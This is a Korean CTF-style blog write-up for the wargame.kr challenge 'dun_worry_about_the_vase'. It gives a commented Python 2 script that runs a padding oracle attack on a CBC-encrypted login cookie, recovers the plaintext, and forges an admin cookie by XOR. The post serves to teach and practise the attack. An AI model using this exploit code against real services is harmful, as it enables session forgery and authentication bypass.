webhacking/etc

wargame.kr dun_worry_about_the_vase (오라클 패딩 어택)

qkqhxla1 2015. 3. 22. 13:46

문서들의 출처는 아래에 다 적어놨으나, 

제작자님이 여기에 게시되길 원하지 않으시면 바로 삭제하겠습니다.


1. 관련 문서 (문서 내부에 출처가 있습니다. laughfool님.)

Padding_Oracle_Attack_by_laughfool.pdf

2. 코드게이트 2012 외국팀 More Smoked Leet Chicken 의 풀이 보고서.

http://mslc.ctf.su/wp/codegate-2012-quals-vuln-400/


3. 연습 사이트

http://x.ozetta.net/example.php


1) 


코딩.

# -*- encoding: cp949 -*-
import urllib2, re
from base64 import b64encode

session = 로그인 유지용 세션값. 본인이 알아서 바꿀 것.
def get_result(a, b):
    c = urllib2.quote(b64encode(a)+b64encode(b))
    req = urllib2.Request('http://wargame.kr:8080/dun_worry_about_the_vase/main.php')
    req.add_header('cookie','L0g1n='+c+'; ci_session='+session)
    return urllib2.urlopen(req).read()

req = urllib2.Request('http://wargame.kr:8080/dun_worry_about_the_vase/login_ok.php','id=guest&ps=guest') #로그인 요청을 보내서 
req.add_header('Cookie','ci_session='+session) #로그인 유지 정보 추가
cookie = urllib2.unquote(re.findall('L0g1n=(.*)',urllib2.urlopen(req).headers.get('Set-cookie'))[0]) #쿠키값중에서 L0g1n쿠키값을 가져와서 url 디코딩을 해준 값을 cookie변수에 저장한다.
index = cookie.find('=') #=를 경계로 쿠키가 나뉜다. GjJN+ODqVRo=8915ZJQFU3E= 이런식의 쿠키면 GjJN+ODqVRo=와 8915ZJQFU3E=로 나뉜다. 오라클 패딩 어택의 기본.
cookie1 = cookie[:index+1]; cookie2 = cookie[index+1:] #cookie1에는 앞부분을, cookie2에는 뒷부분을 저장한다. 뭔지 모르겠으면 print로 출력해보자.

cookie1 = ''.join(map(lambda x:hex(ord(x))[2:].zfill(2),cookie1.decode('base64'))) #쿠키 앞부분을 base64로 디코딩 후 해당 base64디코딩된 값을 하나하나
#ord로 아스키코드로 변경 후 hex()로 16진수로 변경한다. [2:]는 hex시의 0x를 없애기 위한 것이다. 그리고 0xa같이 한자리인 경우 그냥 a만 나오므로, 두자리로 맞춰주기 위해 .zfill함수로 2자리로 맞춰준다. 
#그다음에 ''.join으로 다 연결해준다.
cookie2 = ''.join(map(lambda x:hex(ord(x))[2:].zfill(2),cookie2.decode('base64'))) #쿠키 뒷부분을 위와 마찬가지의 작업을 한다.

alpha = "\x01\x02\x03\x04\x05\x06\x07\x08abcdefghijklmnopqrstuvwxyz" #위에 링크 건 More Smoked Leet Chicken 팀의 코드를 그대로 가져왔다.
#아래 코드는 오라클 패딩 어택의 xor규칙을 잘 살펴보면 알 수 있다. 문서가 있으므로 설명은 따로 안씀.
vals = []
key = ""
for j in xrange(8):
    for i in map(ord, alpha):
        a = cookie1.decode("hex")
        b = cookie2.decode("hex")
        
        a = map(ord, a)
        b = map(ord, b)
        for k in xrange(7, -1, -1):
            a[k] ^= j + 1
            if 7-k >= len(vals): continue
            a[k] ^= vals[7-k]
        a[7-len(vals)] ^= i
        a = "".join(map(chr, a))
        b = "".join(map(chr, b))
        
        res = get_result(a, b)
        if "padding error" not in res:
            vals.append(i)
            key = chr(i) + key
            print "Got byte:", key
            break
#키값으로 guest\x3\x3\x3이 나온다. 이 말은 8개를 기준으로 저장하며, id가 guest일시 이것을 8자리에 맞춰서 guest\x3\x3\x3처럼 저장한다는것을 의미한다.
#끝의 \x3은 남은 자리를 의미한다. 3자리가 남았으므로 3자리를 \x3으로 채워준다. 이렇게 8자리를 맞춰준다.

answer = hex(0x76887ce90d5210dc ^ 0x61646d696e030303 ^ 0x6775657374030303) #쿠키의 =앞부분 ^ admin\x3\x3\x3의 16진수값 ^ guest\x3\x3\x3의 16진수값
answer = urllib2.quote('709974f3175210dc'.decode('hex').encode('base64')).replace('%0A','') #파이썬 코딩 특성상 마지막에 %0A줄내림이 들어가므로 지워줌.
answer += urllib2.quote('505a52ef5da84b72'.decode('hex').encode('base64')).replace('%0A','')

req = urllib2.Request('http://wargame.kr:8080/dun_worry_about_the_vase/main.php')
req.add_header('Cookie','L0g1n='+answer+'; ci_session='+session) #바뀐 쿠키값으로 재로그인
print urllib2.urlopen(req).read()